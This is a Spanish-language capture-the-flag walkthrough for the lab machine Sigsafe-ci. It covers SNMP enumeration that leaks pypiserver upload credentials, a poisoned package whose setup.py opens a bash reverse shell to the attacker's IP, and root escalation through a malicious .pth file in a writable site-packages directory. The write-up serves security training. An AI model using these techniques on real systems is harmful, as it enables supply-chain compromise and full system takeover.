Skip to content
Mnohh022
Go back

Sigsafe-ci

logo

Table of contents

Open Table of contents

Enumeración

La máquina Sigsafe-ci tiene la ip 10.0.2.76

Descubrimiento de Puertos TCP

Vamos a empezar enumerando todos los puertos abiertos por TCP de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.

nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 10.0.2.76

Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8082/tcp open  http    WSGIServer 0.2 (Python 3.13.5)
|_http-server-header: WSGIServer/0.2 CPython/3.13.5
|_http-title: Welcome to pypiserver!

Descubrimiento de Puertos UDP

Ahora volvemos a utilizar nmap pero para enumerar el top 100 de puertos más comunes por UDP.

nmap -sU --top-port 100 --open -n -Pn 10.0.2.76

Nmap scan report for 10.0.2.76
Host is up (0.00048s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT     STATE         SERVICE
161/udp  open          snmp

Puerto 161 UDP (SNMP)

La máquina está ejecutando el servicio Simple Network Management Protocol (SNMP). Vamos a consultarlo utilizando como Community string el nombre de la máquina, sigsafe-ci.

snmpwalk -c sigsafe-ci -v2c 10.0.2.76

iso.3.6.1.2.1.1.1.0 = STRING: "Linux TheHackersLabs-sigsafe-ci 6.12.96+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.96-1 (2026-07-20) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (94064) 0:15:40.64
iso.3.6.1.2.1.1.4.0 = STRING: "\"ci-ops. pip publishing robot (authenticated upload): nohh022 / Sg5Gig4eXHBboVH  -- to be migrated to the vault.\""
iso.3.6.1.2.1.1.5.0 = STRING: "\"sigsafe-ci\""

Hemos averiguado:

Nota: Más me vale cambiar mi contraseña.

Puerto 8082 TCP (Web)

Accedemos con el navegador al puerto 8082 de la ip y nos encontramos un pyserver, es un servidor web creado con Python.

home-web

Este pyserver nos permite descargar e instalar una librería llamada sigsafe-crypto-utils de la cual tenemos dos versiones.

logo

Nos descargamos la versión 1.4.2 y la descomprimimos.

tar -xzvf sigsafe_crypto_utils-1.4.2.tar.gz

sigsafe_crypto_utils-1.4.2/
sigsafe_crypto_utils-1.4.2/PKG-INFO
sigsafe_crypto_utils-1.4.2/pyproject.toml
sigsafe_crypto_utils-1.4.2/setup.cfg
sigsafe_crypto_utils-1.4.2/src/
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils/
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils/__init__.py
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils.egg-info/
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils.egg-info/PKG-INFO
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils.egg-info/SOURCES.txt
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils.egg-info/dependency_links.txt
sigsafe_crypto_utils-1.4.2/src/sigsafe_crypto_utils.egg-info/top_level.txt

Explotación

Command Injection via setup.py

Ya que dispones de credenciales para subir archivos, vamos a modificar este sigsafe_crypto_utils para crear una nueva versión que nos envíe una reverse shell a nuestro equipo.

Para ello, creamos un setup.py que contenga nuestra reverse shell.

import os
os.system('bash -c "bash -i >& /dev/tcp/10.0.2.61/4444 0>&1"')

El directorio del sigsafe_crypto_utils-1.4.2 queda de esta manera:

PKG-INFO  pyproject.toml  setup.cfg  setup.py  src

Ahora lo comprimimos como la versión 1.6.2 y nos ponemos en escucha con netcat.

tar -czf sigsafe_crypto_utils-1.6.2.tar.gz sigsafe_crypto_utils-1.4.2
nc -nlvp 4444

Hecho esto, vamos a proceder a subirlo al repositorio del pysever, para ello vamos a crearnos un entorno virtual con Python3 y a instalar twine.

pip install twine

Twine es una herramienta para publicar paquetes de Python en repositorios de paquetes, en este caso, el pyserver de la máquina.

Empleamos twine para subir nuestro sigsafe_crypto_utils-1.6.2.tar.gz al pyserver con las credenciales que habíamos encontrado.

Nos aparecen dos ventanas emergentes pidiendo nuestra autenticación como root de nuestro sistema, le damos a la tecla Esc o Cancelar, ya que no son necesarias para que funcione la explotación.

Una vez hecho, introducimos las credenciales del usuario obtenido por SNMP.

python -m twine upload --repository-url http://10.0.2.76:8082/ sigsafe_crypto_utils-1.6.2.tar.gz

enter your username: nohh022

enter your password: Sg5Gig4eXHBboVH

Uploading sigsafe_crypto_utils-1.6.2.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.5/2.5 kB 00:00 ?

El archivo se sube correctamente. Tras esperar un poco recibimos la reverse shell como el usuario znbz.

znbz@TheHackersLabs-sigsafe-ci:~$ ls -la
total 40
drwx------ 4 znbz znbz 4096 Aug  2 04:06 .
drwxr-xr-x 5 root root 4096 Aug  1 01:07 ..
lrwxrwxrwx 1 znbz znbz    9 Aug  1 01:01 .bash_history -> /dev/null
-rw-r--r-- 1 znbz znbz  220 May  9 12:07 .bash_logout
-rw-r--r-- 1 znbz znbz 3526 May  9 12:07 .bashrc
drwxrwxr-x 4 znbz znbz 4096 Aug 22 17:40 .cache
-rw-r--r-- 1 znbz znbz 5290 Aug 28  2025 .face
lrwxrwxrwx 1 znbz znbz    5 Aug 28  2025 .face.icon -> .face
drwx------ 3 znbz znbz 4096 Jul 31 15:43 .local
-rw-r--r-- 1 znbz znbz  807 May  9 12:07 .profile
-rw-r----- 1 znbz znbz   33 Jul 31 15:44 user.txt

Escalada de Privilegios

Root

Vamos a utilizar pspy64 para ver las tareas que se ejecutan periódicamente en el server.

Nos lo pasamos a la máquina y lo ejecutamos.

znbz@TheHackersLabs-sigsafe-ci:~$ ./pspy64
....
2026/08/22 17:45:22 CMD: UID=0     PID=1858   | /bin/sh -c /opt/ci/healthenv/bin/python /opt/ci/healthcheck.py >> /var/log/sigsafe/health.log 2>&1 
...

EL usuario root está ejecutando un script de python del directorio /opt/ci usando un entorno virtual situado en /opt/ci/healtenv.

Si revisamos los directorios de ese entorno virtual encontramos algo muy intersante, tenemos permisos de escritura sobre /opt/ci/healthenv/lib/python3.13/site-packages

znbz@TheHackersLabs-sigsafe-ci:~$ ls -la /opt/ci/healthenv/lib/python3.13/site-packages
total 8
drwxrwsr-x 2 root znbz 4096 Aug  2 04:07 .
drwxr-xr-x 3 root root 4096 Jul 31 15:29 ..

En este directorio, Python almacena los paquetes y librerías instalados. Como tenemos permisos de escritura sobre él y hemos comprobado que el script de Python se ejecuta periódicamente como root usando ese entorno virtual, vamos a crear un archivo exploit.pth que otorgue permisos SUID a bash.

De esta forma, cuando el script se ejecute, Python procesará nuestro exploit.pth del directorio site-packages y ejecutará su contenido. Al ejecutarse el script con privilegios de root, podremos obtener una shell con dichos privilegios.

Creamos el exploit.pth y le damos permisos de ejecución.

echo 'import os;os.system("chmod u+s /bin/bash")' > /opt/ci/healthenv/lib/python3.13/site-packages/exploit.pth
chmod +x exploit.pth

Esperamos un poco ya que tarda bastante en ejecutarse y la bash obtiene permisos SUID.

Nos lanzamos una bash privilegiada para convertirnos en root.

znbz@TheHackersLabs-sigsafe-ci:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1298416 May  9 12:07 /bin/bash

znbz@TheHackersLabs-sigsafe-ci:~$ bash -p
bash-5.2# whoami
root
bash-5.2# ls -la /root
total 40
drwx------  5 root root 4096 Aug  1 00:59 .
drwxr-xr-x 19 root root 4096 Jul 31 15:38 ..
lrwxrwxrwx  1 root root    9 Aug  1 00:59 .bash_history -> /dev/null
-rw-r--r--  1 root root  607 May  8 17:10 .bashrc
drwx------  3 root root 4096 Jul 31 15:26 .cache
drwx------  3 root root 4096 Jul 28 19:56 .local
-rw-r--r--  1 root root  132 May  8 17:10 .profile
-rw-------  1 root root   34 Jul 31 15:43 root.txt
drwx------  2 root root 4096 Jul 23 21:40 .ssh
-r-xr-xr-x  1 root root 7048 Jul 23 23:27 vboxpostinstall.sh

Share this post on: